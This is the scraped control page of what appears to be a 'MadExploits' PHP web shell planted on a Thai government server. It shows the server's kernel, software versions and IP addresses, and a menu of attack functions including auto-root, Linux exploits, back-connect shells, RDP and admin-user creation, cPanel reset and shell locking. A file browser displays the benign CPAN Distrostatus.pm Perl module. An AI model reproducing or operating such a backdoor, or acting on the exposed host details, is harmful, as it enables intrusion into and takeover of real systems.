Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
CPAN /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
FTP
[ DIR ]
drwxr-xr-x
Kwalify
[ DIR ]
drwxr-xr-x
LWP
[ DIR ]
drwxr-xr-x
Author.pm
6.6
KB
-rw-r--r--
Bundle.pm
9.03
KB
-rw-r--r--
CacheMgr.pm
7.36
KB
-rw-r--r--
Complete.pm
5.85
KB
-rw-r--r--
Debug.pm
1.95
KB
-rw-r--r--
DeferredCode.pm
189
B
-rw-r--r--
Distribution.pm
137.58
KB
-rw-r--r--
Distroprefs.pm
10.85
KB
-rw-r--r--
Distrostatus.pm
972
B
-rw-r--r--
FTP.pm
38.93
KB
-rw-r--r--
FirstTime.pm
56.15
KB
-rw-r--r--
HandleConfig.pm
21.02
KB
-rw-r--r--
Index.pm
21.15
KB
-rw-r--r--
InfoObj.pm
6.75
KB
-rw-r--r--
Kwalify.pm
3.35
KB
-rw-r--r--
Module.pm
21.21
KB
-rw-r--r--
Nox.pm
928
B
-rw-r--r--
Prompt.pm
567
B
-rw-r--r--
Queue.pm
6.22
KB
-rw-r--r--
Shell.pm
67.15
KB
-rw-r--r--
Tarzip.pm
13.56
KB
-rw-r--r--
URL.pm
588
B
-rw-r--r--
Version.pm
4.22
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Distrostatus.pm
# -*- Mode: cperl; coding: utf-8; cperl-indent-level: 4 -*- # vim: ts=4 sts=4 sw=4: package CPAN::Distrostatus; use overload '""' => "as_string", fallback => 1; use vars qw($something_has_failed_at); use vars qw( $VERSION ); $VERSION = "5.5"; sub new { my($class,$arg) = @_; my $failed = substr($arg,0,2) eq "NO"; if ($failed) { $something_has_failed_at = $CPAN::CurrentCommandId; } bless { TEXT => $arg, FAILED => $failed, COMMANDID => $CPAN::CurrentCommandId, TIME => time, }, $class; } sub something_has_just_failed () { defined $something_has_failed_at && $something_has_failed_at == $CPAN::CurrentCommandId; } sub commandid { shift->{COMMANDID} } sub failed { shift->{FAILED} } sub text { my($self,$set) = @_; if (defined $set) { $self->{TEXT} = $set; } $self->{TEXT}; } sub as_string { my($self) = @_; $self->text; } 1;
Close